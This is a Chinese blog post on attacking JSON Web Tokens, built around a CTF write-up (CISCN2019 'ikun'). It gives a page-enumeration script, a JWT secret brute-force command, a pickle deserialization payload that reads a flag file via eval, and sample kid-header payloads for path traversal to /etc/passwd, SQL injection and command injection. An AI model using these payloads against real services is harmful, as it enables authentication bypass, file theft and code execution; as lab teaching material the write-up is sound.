JWT攻防

 
Json Web Token简称jwt,用于身份认证等相关场景
 

JWT的结构

 
JWT由三部分组成, Header Payload Signature
 
其中 Header 一般是用于指定算法用于签名, Payload 则是我们声明的一些信息, Signature 则是根据 Header 以及 Payload 加密产生的
 
要创建签名部分,必须采用header,payload,密钥
 
例如HS256(HMAC SHA256),签名的构成为:
 

HMACSHA256(
  base64Encode(header) + "." +
  base64Encode(payload),
  secret)

 

常用攻击方式

 

签名密钥可被爆破

 
这里面以一道CTF题目为例([CISCN2019 华北赛区 Day1 Web2]ikun) buuoj上可以复现
 
首先先找到有lv6的商品,这里面根据图片名遍历页数
 

import requests
import time
num=2

urltest="http://8b593fb8-8719-4e7d-bad0-9725019393d4.node3.buuoj.cn/shop?page="
test=requests.session()
while 1 :
    url=urltest+str(num)
    #print(url)
    requests_url = test.get(url)
    #print(requests_url.content)
    if "lv6.png" in requests_url.text:
        print(str(num))
        exit()
    #time.sleep(1)
    num=num+1

 

 
但是购买的钱显然不够,但是在优惠率处可以修改,改为 0.0000008,买完后跳转到一个页面
 

 
观察Cookie发现是通过 JWT 来认证的,这里面我们把JWT放到 https://jwt.io/ 看看


 
发现 payload 区域为test,显然我们要改为 admin,最后使用的签名算法为 HS256


 
既然是对称算法,我们爆破一下密钥试试,用下方这个项目
 

https://github.com/brendan-rius/c-jwt-cracker
 
我是Docker搭建的
 

docker run -it --rm jwtcrack  eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6InRlc3QifQ.l0qG4XbJbemqJXsaITaT8g78fkJ-boRvU2H7H1CY644

 
之后爆破出密钥为 1Kun
 
因此生成我们要的jwt
 

 

 
获取源码进行代码审计
 

 
审计源码发现在 Admin.py 中存在Python反序列化
 

class AdminHandler(BaseHandler):
    @tornado.web.authenticated
    def get(self, *args, **kwargs):
        if self.current_user == "admin":
            return self.render('form.html', res='This is Black Technology!', member=0)
        else:
            return self.render('no_ass.html')

    @tornado.web.authenticated
    def post(self, *args, **kwargs):
        try:
            become = self.get_argument('become')
            p = pickle.loads(urllib.unquote(become))
            return self.render('form.html', res=p, member=1)
        except:
            return self.render('form.html', res='This is Black Technology!', member=0)

 
pickle.loads存在反序列化
 
参考这里面反序列化
 
https://xz.aliyun.com/t/2289#toc-1
 

import pickle
import urllib
class test(object):
    def __reduce__(self):
        return (eval, ("file('/flag.txt','r').read()",))

a=test()
payload=pickle.dumps(a)
payload=urllib.quote(payload)
print payload
# pickle.loads 会解决 import 问题,对于未 import的模块会尝试的import,所以就会加载我们的os模块

 
在成为大会员出抓包修改为pyload即可获得Flag
 
参考
 
http://www.cl4y.top/buuctf_wp/#toc-head-24

https://xz.aliyun.com/t/2289#toc-3
 
爆破密钥的话应用场景不是很大
 

空加密算法

 
将 alg设置为空,有可能绕过JWT的验证
 

修改密钥算法

 
即将非对称算法,改为对称算法
 

修改KID参数

 
kid是jwt header中的参数,用于指定加密算法的密钥,改参数由用户输入,因此可能会造成安全隐患
 

任意文件读取

 
kid参数用于读取密钥文件,但系统并不会知道用户想要读取的到底是不是密钥文件,所以,如果在没有对参数进行过滤的前提下,攻击者是可以读取到系统的任意文件的。
 

{
    "alg" : "HS256",
    "typ" : "jwt",
    "kid" : "/etc/passwd"
}

 

SQL注入

 
kid也可以从数据库中提取数据,这时候就有可能造成SQL注入攻击,通过构造SQL语句来获取数据或者是绕过signature的验证

 

{
    "alg" : "HS256",
    "typ" : "jwt",
    "kid" : "key11111111' || union select 'secretkey' -- "
}

 

命令注入

 
对kid参数过滤不严也可能会出现命令注入问题,但是利用条件比较苛刻。如果服务器后端使用的是Ruby,在读取密钥文件时使用了open函数,通过构造参数就可能造成命令注入。

"/path/to/key_file|whoami"

 
对于其他的语言,例如php,如果代码中使用的是exec或者是system来读取密钥文件,那么同样也可以造成命令注入,当然这个可能性就比较小了。

 

参考

 
https://xz.aliyun.com/t/6776#toc-7
 
https://skysec.top/

posted @ 2020-10-26 16:51  Zahad003  阅读(649)  评论(0编辑  收藏  举报